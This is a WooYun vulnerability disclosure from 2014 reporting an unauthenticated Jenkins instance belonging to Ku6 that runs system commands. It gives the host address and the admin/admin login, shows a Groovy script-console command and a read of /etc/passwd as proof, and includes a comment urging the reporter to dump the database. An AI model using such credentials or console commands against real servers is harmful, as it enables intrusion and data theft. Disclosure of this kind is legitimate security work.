当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-062541

漏洞标题：酷6Jenkins系统未授权访问可执行系统命令

相关厂商：酷6网

漏洞作者： 紫衣大侠

提交时间：2014-05-27 17:42

修复时间：2014-06-01 17:43

公开时间：2014-06-01 17:43

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-27： 细节已通知厂商并且等待厂商处理中
2014-06-01： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

Jenkins系统密码弱口令，可直接执行系统命令~~~

详细说明：

http://122.11.45.115:8080/

帐号和密码均为：admin

执行shell命令。 

println "ifconfig".execute().text


u1.jpg


cat /etc/passwd

root.jpg


u2.jpg

漏洞证明：

u1.jpg


cat /etc/passwd

root.jpg


u2.jpg

修复方案：

口令设置复杂点~~~~

版权声明：转载请注明来源 紫衣大侠@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-06-01 17:43

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-05-29 17:06 | 紫衣大侠 ( 普通白帽子 | Rank:201 漏洞数:21 | 愿结天下有识之士)

    @酷6，没人认领？？

  2. 2014-06-01 23:38 | 紫衣大侠 ( 普通白帽子 | Rank:201 漏洞数:21 | 愿结天下有识之士)

    擦，修复了，居然不认领！@酷6网，你这么叼，你们安全主管造么？

  3. 2014-06-02 02:09 | Arthur ( 实习白帽子 | Rank:77 漏洞数:33 | USA，I am coming！！！！！)

    又有一个无良厂商。。。。。

  4. 2014-06-03 08:47 | cooFool ( 路人 | Rank:0 漏洞数:2 | 终于通过了。)

    这种厂商下次你直接脱裤了，不要管他。简直丧心病狂。